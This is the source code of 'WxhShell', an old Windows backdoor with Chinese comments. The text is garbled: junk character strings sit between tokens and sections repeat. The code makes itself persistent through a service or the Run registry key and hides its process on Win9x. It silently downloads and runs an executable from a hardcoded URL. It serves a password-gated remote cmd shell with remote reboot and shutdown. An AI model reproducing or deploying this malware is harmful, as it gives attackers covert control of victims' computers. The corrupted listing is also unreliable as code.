(GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z*P/ ubV' NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \1-lda [Y@}{[q5 if (!NtQueryInformationProcess) return 0; m!zvt
)/f#~$ws hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W|{!0w if(!hProcess) return 0; f-^*p Uf_mwEE if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7#"y mE I;AS.y CloseHandle(hProcess); ^x*J4jl :9&@/{W hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); pHk$_t if(hProcess==NULL) return 0; )(YJ6l [
s/j?/9 HMODULE hMod; *fd:(dN| char procName[255]; ?r]0 %W^ unsigned long cbNeeded; )w}'kih *kf%?T. if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wmK;0 )|H }x{1{Bw>Y CloseHandle(hProcess); L4+R8ojG J7wwM'\ if(strstr(procName,"services")) return 1; // 以服务启动 r_ m|?U
% .@r{Tq,%q8 return 0; // 注册表启动 H[g i`{c } EQ"_kJ>81Y )2Q0NbDn // 主模块 6_8y Q int StartWxhshell(LPSTR lpCmdLine) N1E9w:T` { i< imE# SOCKET wsl; /QlzWson BOOL val=TRUE; _Q\rZ
l int port=0; ZQR)k:k7 struct sockaddr_in door; A$~H`W<yxB i+Ne.h if(wscfg.ws_autoins) Install(); q}'<[Wg @w%kOX port=atoi(lpCmdLine); [vBP,_Tjx aFnyhu&W' if(port<=0) port=wscfg.ws_port; ?=?*W7 \2f?)id~ WSADATA data; ;eFV}DWW if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zb~;<:< Tz:,l$ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; .1h\r,
# setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4y.'O door.sin_family = AF_INET; Z 5wDf+ door.sin_addr.s_addr = inet_addr("127.0.0.1"); Vl(id_~ _ door.sin_port = htons(port); b*Hk}
!qH b!QRD'31'j if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7
mA3&<&q closesocket(wsl); \(?d2$0m return 1; L`:V]p } >)[W7h qbD_ if(listen(wsl,2) == INVALID_SOCKET) { H93ug1, closesocket(wsl); N1>M<N03 return 1; z{NK(oW } _M>S =3w Wxhshell(wsl); cy8r}wD WSACleanup(); Q^Vch(`&P 2nFr?Y3g, return 0; (Q&jp!WU bLggh]Fh } Mu" vj*F X)TZ S // 以NT服务方式启动 _s=<Y^l%x VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /K,@{__JP { |e+r~).4B DWORD status = 0; T/%k1Hsa4H DWORD specificError = 0xfffffff; kDiR2K& t1#f*G5 serviceStatus.dwServiceType = SERVICE_WIN32; k9y/.Mu serviceStatus.dwCurrentState = SERVICE_START_PENDING; >FFp"%% serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )>rYp
) serviceStatus.dwWin32ExitCode = 0; W"~"R serviceStatus.dwServiceSpecificExitCode = 0; H]dN'c- serviceStatus.dwCheckPoint = 0; K(NP%: serviceStatus.dwWaitHint = 0; 'o8,XBv- ARJtE@s6Y hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +,ld;NM{ if (hServiceStatusHandle==0) return; ye
{y[$#3 d|
{<SRAI status = GetLastError(); }6__E;h#J if (status!=NO_ERROR) 6il+hz2&lH { !cO<N~0*5x serviceStatus.dwCurrentState = SERVICE_STOPPED; )Ps<u- V serviceStatus.dwCheckPoint = 0; grd
fR`3 serviceStatus.dwWaitHint = 0; #b&=CsW` serviceStatus.dwWin32ExitCode = status; aXbj pb+ serviceStatus.dwServiceSpecificExitCode = specificError; v9D[|4 SetServiceStatus(hServiceStatusHandle, &serviceStatus); c)QOgXv return; .?F`H[^)^u } 7pH[_]1" x;7p75Wm serviceStatus.dwCurrentState = SERVICE_RUNNING; <Lle1=qQ serviceStatus.dwCheckPoint = 0; @a]`C
$6 serviceStatus.dwWaitHint = 0; "+&@iL if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _=qk.| p/ } m}m|(;T {X\FS // 处理NT服务事件,比如:启动、停止 |z)7XK VOID WINAPI NTServiceHandler(DWORD fdwControl) ?I.bC { >BMtR0 switch(fdwControl) DY87NS*HF { (jh0cy}|] case SERVICE_CONTROL_STOP: 6A} 45 serviceStatus.dwWin32ExitCode = 0; y|#Fu serviceStatus.dwCurrentState = SERVICE_STOPPED; \FIOFbwe serviceStatus.dwCheckPoint = 0; z)FGbX serviceStatus.dwWaitHint = 0; 1Dm$:),^T} { HxShNU SetServiceStatus(hServiceStatusHandle, &serviceStatus);
A^pRHbRq } U&gl$/4U@ return; a3_pF~Qx case SERVICE_CONTROL_PAUSE: G7HvA46 serviceStatus.dwCurrentState = SERVICE_PAUSED; $I3}%'`+ break; }Do$oyAV$G case SERVICE_CONTROL_CONTINUE: V#-8[G6Ra serviceStatus.dwCurrentState = SERVICE_RUNNING; 4L2TsuLw break; lHgmljn5u case SERVICE_CONTROL_INTERROGATE: L3C'q break; `[4{]jX+< }; Z@#kivcpz SetServiceStatus(hServiceStatusHandle, &serviceStatus); g^2H(}frc }
["Jt2 A@ G%*\UZ // 标准应用程序主函数 ^<e(3S: int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~,84E [VV { GplEad
$ dMH}%f5;1 // 获取操作系统版本 ]*AQT7PH OsIsNt=GetOsVer(); !2g*=oY GetModuleFileName(NULL,ExeFile,MAX_PATH); -sk!XWW+ #Ic-?2Gn4< // 从命令行安装 ~w$ ^`e!] if(strpbrk(lpCmdLine,"iI")) Install(); flU?6\_UC ;U<rFs40 // 下载执行文件 :W1B"T< if(wscfg.ws_downexe) { 4"%LgV`
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :\G`}_db' WinExec(wscfg.ws_filenam,SW_HIDE); xR5zm%\ } G+Zm ?xCWg.#l4V if(!OsIsNt) { #6Fc-ysk: // 如果时win9x,隐藏进程并且设置为注册表启动 140_WV?7 HideProc(); y gTc
Y StartWxhshell(lpCmdLine);
m3 Rss~l } D3;#: else p!~V@l if(StartFromService()) mp>Ne6\Tu // 以服务方式启动 ,A!0:+ StartServiceCtrlDispatcher(DispatchTable); p+1kU1F0 else 'di(5 // 普通方式启动 Eg#WR&Uq" StartWxhshell(lpCmdLine); ksli-Px e:RgCDWL return 0; XRWy#Pj } agPTY{; [Xo[J?w],2 eq$.np |Skhx9}; =========================================== b*"%E,? +T]D\];D X?OH//co .0'FW!;FV .L}k-8 5g;i{T/6~x " #qdfr3 CR'1, #include <stdio.h> j
q1|`: #include <string.h> >Y"Ru#Ju9 #include <windows.h> {3*Zx"e (DWORD,DWORD); n]fMl:77 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jdAjCy; s! typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %oHK=],|1 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `0Bk@B[> Vo8gLX]a // wxhshell配置信息 NNP ut$. struct WSCFG { /K\]zPq int ws_port; // 监听端口 EK$3T5e char ws_passstr[REG_LEN]; // 口令 nv/'C=+L int ws_autoins; // 安装标记, 1=yes 0=no $ucA.9pJ char ws_regname[REG_LEN]; // 注册表键名 M A char ws_svcname[REG_LEN]; // 服务名 E]dmXH8A char ws_svcdisp[SVC_LEN]; // 服务显示名 zX}t1:nc char ws_svcdesc[SVC_LEN]; // 服务描述信息 h3t);}Y}D9 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5v,_ Hgh int ws_downexe; // 下载执行标记, 1=yes 0=no R-J^%4U`7 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6>&h9@ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |!E: [UH JBt2R= }; H[D<G9: F;sZc,Y,^ // default Wxhshell configuration 1j?+rs+o- struct WSCFG wscfg={DEF_PORT, _|I`A6`= "xuhuanlingzhe", jWqjGX` 1, \x;`8H "Wxhshell", Bw25+l Px "Wxhshell", ="J *v> "WxhShell Service", YML]pNB "Wrsky Windows CmdShell Service", bfXyuv "Please Input Your Password: ", L(+I 1, U;#9^<^ "http://www.wrsky.com/wxhshell.exe", xTg=oq "Wxhshell.exe" H<Ik.]m
}; '|^x[8^ ;7E
c'nC4 // 消息定义模块 B"?ivxM:U char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; R,dbq4xkl char *msg_ws_prompt="\n\r? for help\n\r#>"; @A'@%Zv- char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; E.eUd4XG char *msg_ws_ext="\n\rExit."; g0ks[ }f- char *msg_ws_end="\n\rQuit."; RG_.0'5=hc char *msg_ws_boot="\n\rReboot..."; D0^h;wJ=4+ char *msg_ws_poff="\n\rShutdown..."; :T )R;E@ char *msg_ws_down="\n\rSave to "; J"~!jrzBh( <NWq03:& char *msg_ws_err="\n\rErr!"; 5y8VA4L/o char *msg_ws_ok="\n\rOK!"; `3:Q.A_? E.N char ExeFile[MAX_PATH]; y#zO1Nig` int nUser = 0; OXJ'-EZH HANDLE handles[MAX_USER]; /]oQqZHv int OsIsNt; r4m z Kf1NMin7 SERVICE_STATUS serviceStatus; _;M3=MTM9 SERVICE_STATUS_HANDLE hServiceStatusHandle; AVi&cvhs Qk72ra) // 函数声明 &-Ylj int Install(void); 1Li*n6tLX` int Uninstall(void); YD;G+"n?T int DownloadFile(char *sURL, SOCKET wsh); Wh)!Ha} int Boot(int flag); h0$Y;=YA void HideProc(void); u4j"U6"]M int GetOsVer(void); Cxeam"-HTt int Wxhshell(SOCKET wsl); mv7W03 void TalkWithClient(void *cs); tI)|y?q int CmdShell(SOCKET sock); m?kyAW'| int StartFromService(void); -9::M}^2 int StartWxhshell(LPSTR lpCmdLine); w2db=9 HuJc*op-6 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2RQ-L VOID WINAPI NTServiceHandler( DWORD fdwControl ); o7t{?| tuLNGU // 数据结构和表定义 vA}_x7}n( SERVICE_TABLE_ENTRY DispatchTable[] = v&bG`\ ! { 2vWn(6` {wscfg.ws_svcname, NTServiceMain}, .G#li(NWH {NULL, NULL} wZs 2aa }; c_8<N7 C 7i!Vg V // 自我安装 !I.}[9N int Install(void) '%82pZ,? { Nte$cTjX char svExeFile[MAX_PATH]; 9z..LD( HKEY key; $xWUzg1<U strcpy(svExeFile,ExeFile); Qe{w)e0}` `XpQR=IOMb // 如果是win9x系统,修改注册表设为自启动 z$WLx if(!OsIsNt) { X8">DR&>Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5'c#pm\Q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4Y$\QZO RegCloseKey(key); 5C&*PJ~WA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4hODpIF RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (|F.3~Amq RegCloseKey(key); $rI 1|;^ return 0; Fn7OmxfD } Qn,6s%n
} ZP5 !O[Ut } IzJq:G. else { B0%=! & [orL.D] // 如果是NT以上系统,安装为系统服务 [iEz?1., SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); S>r",S if (schSCManager!=0) VX&PkGi?o { _bi)d201 SC_HANDLE schService = CreateService SI=u-'% ( ddyX+.LMk schSCManager, PO?_i>mA wscfg.ws_svcname,
r5Tdp)S wscfg.ws_svcdisp, !Av9?Q: SERVICE_ALL_ACCESS, U(9_&sL SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^:]$m;v] SERVICE_AUTO_START, p |1u,N SERVICE_ERROR_NORMAL, h='F,r5#2 svExeFile, t`&x.o NULL, [ r8 ZAS NULL, U!`iKy- NULL, B+snHabS6 NULL, Yu>DgMW NULL {*AA]z?zo ); 7oWMjw\ if (schService!=0) XIbZ_G^ +D { kQ}n~Hn CloseServiceHandle(schService); 94?WL CloseServiceHandle(schSCManager); UhpJG O strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); s0^(yEcq strcat(svExeFile,wscfg.ws_svcname); ,_fz)@) if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4a"Fu<q RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6FQi=}O 1 RegCloseKey(key); CMaph return 0; 52dD(
} ylKK!vRHT } v$W[( CloseServiceHandle(schSCManager); J6AHc"k. } `(sb } R<Lf>p>_ 8~]D!c8; a return 1; odsFgh } AQg|lKv akxNT_ // 自我卸载 Y8\P"qb int Uninstall(void) /,I cs { .mt%8GM HKEY key; |zYOCDFf o)/Pr7Qn if(!OsIsNt) { 4=xi)qF/@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kkF)Tro\ RegDeleteValue(key,wscfg.ws_regname); ]:59c{O RegCloseKey(key); ^ RA'E@" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hPDKxYD]f RegDeleteValue(key,wscfg.ws_regname); ~lys RegCloseKey(key); X,7y| tb return 0; 6!ve6ZB[p } K Lg1(W( } 3}0\W.jH } 6'r8.~O else { DPTk5o[ .$%p0Yx+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,erf{"Nh if (schSCManager!=0) s9;6&{@%wO { $(aq;DR SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _1p8(n if (schService!=0) DK)W
,z| { K^shT h8k if(DeleteService(schService)!=0) { 4hL%J=0: CloseServiceHandle(schService); bf"'xn9 CloseServiceHandle(schSCManager); i#]e&Bru5 return 0; mm-s?+&M; } ZgP%sF CloseServiceHandle(schService); uZS : } CJBf5I3 CloseServiceHandle(schSCManager); -{cHp } 6Dlm.~G } xzOa9w/ =|S%Rzsk return 1; V&M*,#(? } 3'0Pl8 _rT\?//B // 从指定url下载文件 CubQ6@, int DownloadFile(char *sURL, SOCKET wsh) .$qa?$@ { G<;~nAo?f0 HRESULT hr; $J`O-"M
char seps[]= "/"; h:YD$XE char *token; \k.`xG? char *file; ?Z7`TnG$uf char myURL[MAX_PATH]; r~t`H*C)} char myFILE[MAX_PATH]; 0
&zp 2bp@m;g$ strcpy(myURL,sURL); LL^KZ- token=strtok(myURL,seps); K4c:k;
V while(token!=NULL) Jz}nV1G(jz { #DTKz]i? file=token; !eLj +0 token=strtok(NULL,seps); H_DCdUgC' } K p3}A$uV tIsWPt]Y GetCurrentDirectory(MAX_PATH,myFILE); Zd*$^P,| strcat(myFILE, "\\"); };/QK* strcat(myFILE, file); zUfq. send(wsh,myFILE,strlen(myFILE),0); uJ!&T send(wsh,"...",3,0); Ms{";qiG hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (vs<Fo|] if(hr==S_OK) *'<AwG& return 0; M!UTqf7XL else 2Je$SE8 return 1; )h{&O
,s [XfR`@ } -+#%]P8l f%Q{}fC{* // 系统电源模块 Gm=qn]c int Boot(int flag) 9wgB JJl7 { <n2@;`D HANDLE hToken; 8+zW:0"[ TOKEN_PRIVILEGES tkp; 3db{Tcn\@] Jh26!%<Bl if(OsIsNt) { Q]:O#;"< OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); g{8RPw] LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #2{-6ey tkp.PrivilegeCount = 1; +\/Q tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |3*9+4]a AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); jjs/6sSRk if(flag==REBOOT) { sVLvnX, if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) b$ G{^ return 0;
FaL\6w } 1^~&"s U else { bjZJP\6 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) o>el"0rn.h return 0; z5+Pi:1w } +HK4sA2; } 'solCAy else { Q#bW"},^k if(flag==REBOOT) { 9mF' if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7=G2sOC return 0; S$6|KY u } h3ygL" k else { 2w?q7N% if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3<0b_b return 0; p~pD`'% } (`x_MTLL } 6#=jF[ 7#V7D6j1 return 1; ;Rrh$Ag } P}bIp+ LCF}Y{ // win9x进程隐藏模块 j]u!;] void HideProc(void) \Z-th,t { y7Po$ )8l 3uL
f0D HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >p_W(u@ z$ if ( hKernel != NULL ) Wn%P.`o# { l=@ B 'a pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <_EKCk ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); peQwH FreeLibrary(hKernel); B}e/MlX3M } nzq
rTPgHK]?l return; J2mHPVA3 } uYJS=NGNA sS D8Sx/ // 获取操作系统版本 AjzTszByu int GetOsVer(void) -<W?it?D { |23F@s1 OSVERSIONINFO winfo; wi(Y=?= winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]vrZGX
a+ GetVersionEx(&winfo); ER0
Yl if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) du65=w4E! return 1; ?OD$`{1 else ]#tB[G return 0; !3Q0Ahf } Y.^L^ "%dF p|>*M\LE# // 客户端句柄模块 +8Xjk\Hi int Wxhshell(SOCKET wsl) I!x.bp~V! { KX)n+{
SOCKET wsh; 2d)Dhxzxk struct sockaddr_in client; L%'J]HL- DWORD myID; 8 Rx@_ l|CM/(99- while(nUser<MAX_USER)
Q!X?P { OO:S2-]Y>e int nSize=sizeof(client); uLhGp@Dx wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Od1\$\4Z if(wsh==INVALID_SOCKET) return 1; Sj+H{xJi g4K+AK handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'aSsyD!?< if(handles[nUser]==0) [xS7ae closesocket(wsh); s~M4. 06P else +^.Yt0} nUser++; umYsO.8 } ]so/AdT9hA WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); m`yvZ4K! Mz@{_*2 return 0; !:{Qbv&T } wNB?3v{n ^<;W+dWdU // 关闭 socket AHf 9H? void CloseIt(SOCKET wsh) tUu'
gs| { 5 jrR]X closesocket(wsh); HqGI. nUser--; ysaRH3M ExitThread(0); r~b.tpH } a>4/2#J Dri6\/0 // 客户端请求句柄 u[a-9^&g void TalkWithClient(void *cs) Nr|Gw
@+ { eI8o#4nT * #yF`_p SOCKET wsh=(SOCKET)cs; K\xz|Gq char pwd[SVC_LEN]; V@'Xj .ze char cmd[KEY_BUFF]; l@`k:? char chr[1]; d i\.*7l? int i,j; }7PJr/IuF ;,y_^-h; while (nUser < MAX_USER) { ,Ag {-& hY)zKX_r if(wscfg.ws_passstr) { Q2CGC+ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d59rq<yI //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K1
f1T //ZeroMemory(pwd,KEY_BUFF); R
iZ)FW i=0; GT6; I7 while(i<SVC_LEN) { j{C~wy!J >+O0W)g{o // 设置超时 '}cSBbl&/n fd_set FdRead; :ez76oGyc struct timeval TimeOut; [R]V4Hb FD_ZERO(&FdRead); rO87V!Cj FD_SET(wsh,&FdRead); rwWOhD)RU TimeOut.tv_sec=8; 5Tn< TimeOut.tv_usec=0; '5}hm1, int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;~3;CijJ8 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2/SUEnaLy_ 2dts}G if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mnTF40l pwd=chr[0]; bTs2$81[ if(chr[0]==0xd || chr[0]==0xa) { HT7,B(.} pwd=0; 1wgL^Qz@ break; v.ZUYa| } It*U"4lgi i++; aB%.]bi } T{prCM :3F[!y3b // 如果是非法用户,关闭 socket ^EIuGz1@0 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0fc;H}B* } \Z.r Pq CvIuH=, send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f]*;O+8$LN send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9Og 73qE!(
while(1) { Y[*.^l._ |s/)lA:9 ZeroMemory(cmd,KEY_BUFF); %YVPm*J~ fR1LVLU // 自动支持客户端 telnet标准
b>5*G1 j=0; }$)~HmZw while(j<KEY_BUFF) { 4KH'S'eR if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (-<hx~ cmd[j]=chr[0]; '`8 ^P if(chr[0]==0xa || chr[0]==0xd) { o0Teect= cmd[j]=0; ru:"c^W:[ break; G[}v?RLI } mJ%^`mrI j++; <*vR_?!
} F`KXG$ KKwM\ // 下载文件 VjM/'V5 if(strstr(cmd,"http://")) { JCH9~n. send(wsh,msg_ws_down,strlen(msg_ws_down),0); UV(`. if(DownloadFile(cmd,wsh)) x@X2r send(wsh,msg_ws_err,strlen(msg_ws_err),0); h<L_ =)lH else o0WwlmB5 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6TRLHL~B } V;^-EWNj else { 8B ,S_0! N_G&nw switch(cmd[0]) { IAA_Ft F]RPM(!5O) // 帮助 tk0m[HN@eV case '?': { >QDyG8* send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); IFW(nB( break; r@JMf)a] } Zzlt^#KLx // 安装 lP=,|xFra case 'i': { N 75U.;U0 if(Install()) <j,I@% send(wsh,msg_ws_err,strlen(msg_ws_err),0); HFB>0<$ else eP (*. send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q AVypP?J break; |>P:R4P } [`|t( E' // 卸载 /#5rt&q case 'r': { I!b"Rv=Nf- if(Uninstall()) ju:}%' send(wsh,msg_ws_err,strlen(msg_ws_err),0);
/1TK+E$ else Dj= {% send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :xg
J2 break; ;\"5)S } 5%wA"_ // 显示 wxhshell 所在路径 9t`yv@.>N case 'p': { ty[%:eG# char svExeFile[MAX_PATH]; Ud"_[JtGM strcpy(svExeFile,"\n\r"); <|'ETqP<+ strcat(svExeFile,ExeFile); mR2"dq;U send(wsh,svExeFile,strlen(svExeFile),0); #Br`;hL<T break; ZYB5s~;eB" } Gy+c/gK // 重启 2cu2S"r case 'b': { =H: N!!: send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Obu 6k[BE. if(Boot(REBOOT)) =2*2$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); _e8Gt6> else { nUs=PD3) closesocket(wsh); } A6z%|d ExitThread(0); m5/]+xdNX } [4EIy" break; D=LsoASVI } dm[JDVv| // 关机 {Mo[C% case 'd': { uD{^1c3x send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); QP"5A7=m if(Boot(SHUTDOWN)) -^np"Jk send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rxw+`ru else { @WXRZEz closesocket(wsh); pVl7]_=m ExitThread(0); aeYz;&K } 2./z6jXW_ break; 1z; !)pG. } DZ`,QWuA // 获取shell |+~P; fG case 's': { O*2{V]Y
@ CmdShell(wsh); +-x+c:
IxA closesocket(wsh); /_JR7BB^X, ExitThread(0); jn]l!nm break; WCaMPz } 6wOj,}2Mn // 退出 ui"`c%2n case 'x': { 1C=42ZZ&2 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^^V+0 l CloseIt(wsh); zWN]#W` break; 0LGHSDb } X+;#^A3 // 离开 l d%#.~Q case 'q': { :\mdVS!o send(wsh,msg_ws_end,strlen(msg_ws_end),0); <}mA>c'k closesocket(wsh); U_9|ED: WSACleanup(); <%4pvn8d?& exit(1); sj+ ) break; H>\lE2 } }If,O } $/u.F; } M"-53|#:w\ ;Srzka2 // 提示信息 e*<pO@Uy if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nbw8YO(= } wd,6/5=lh } ?r$&O*; T_\hhP~ return; =%77~q-HL } eHHU2^I, rWL&-AZQl // shell模块句柄 u3 X!O int CmdShell(SOCKET sock) .^- I<4 . { .lgm" STARTUPINFO si; \*fXPJ4 ZeroMemory(&si,sizeof(si)); uYE"OUNWL si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; IQ JFL
+f si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; GB*^?Ii PROCESS_INFORMATION ProcessInfo; !bW^G}
<t char cmdline[]="cmd"; n>o=RQ2 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _Fkb$NJ"]Q return 0; us#ji i.< } |o_
N$70 -Lsl // 自身启动模式 ,]@Sytky int StartFromService(void) t,~feW, { Ch=jt*0 typedef struct +nYF9z2 { 3cH^
,F DWORD ExitStatus; 5uM`4xkj DWORD PebBaseAddress; vQ5rhRG)E DWORD AffinityMask; e{Mkwi+j DWORD BasePriority; 5 yL"=3&+ ULONG UniqueProcessId; t,5AoK/NL9 ULONG InheritedFromUniqueProcessId; `j6O } PROCESS_BASIC_INFORMATION; k
c L
+ sEa| 2$ PROCNTQSIP NtQueryInformationProcess; JWQd6JQ_~V yTWicW7i static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;
4f213h static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }.A
\;FDyj {o%OG/!1 HANDLE hProcess; !'bZ|j% PROCESS_BASIC_INFORMATION pbi; m*AiP]Qu `b)i;m HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); bz\nCfU if(NULL == hInst ) return 0; H9=8nLb. Q-e(>=Gv_ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |pT[ZT|}G g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @ +>>TGC NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); nI`9|W 5N#Sic M if (!NtQueryInformationProcess) return 0; (]"`>,ray >)F)@KAuN4 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [WR*u\FF if(!hProcess) return 0; V4<f4|IL M r~IVmtf if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o3:h!(#G }vX1@n7T6 CloseHandle(hProcess); 9+'*
U uSCqI}; hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {UuSNZ[^ if(hProcess==NULL) return 0; w!l*!G %G,d&%f HMODULE hMod; 0[-@<w ^j char procName[255]; `9DW} unsigned long cbNeeded; cw;TIx_q \`?4PQ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |zp}u (N @(m?j1!M CloseHandle(hProcess); ZY)&Fam} )%I62<N,z if(strstr(procName,"services")) return 1; // 以服务启动 1[(/{CClB \2[ return 0; // 注册表启动 qD(dAU } KhNE_.
Z =nUzBL%~ // 主模块 ;+~Phdy int StartWxhshell(LPSTR lpCmdLine) 5Noy~; { 'DB'lP SOCKET wsl; ~#:R1~rh\e BOOL val=TRUE; jGn2QL int port=0; )Q~K\bJf struct sockaddr_in door; E#yG}UWe !h+VbZ if(wscfg.ws_autoins) Install(); #PMi6q~Z Gr|102 port=atoi(lpCmdLine); CuYSvW 9t{Iv({6p if(port<=0) port=wscfg.ws_port; ghaO#kI GOY!()F WSADATA data; q}p
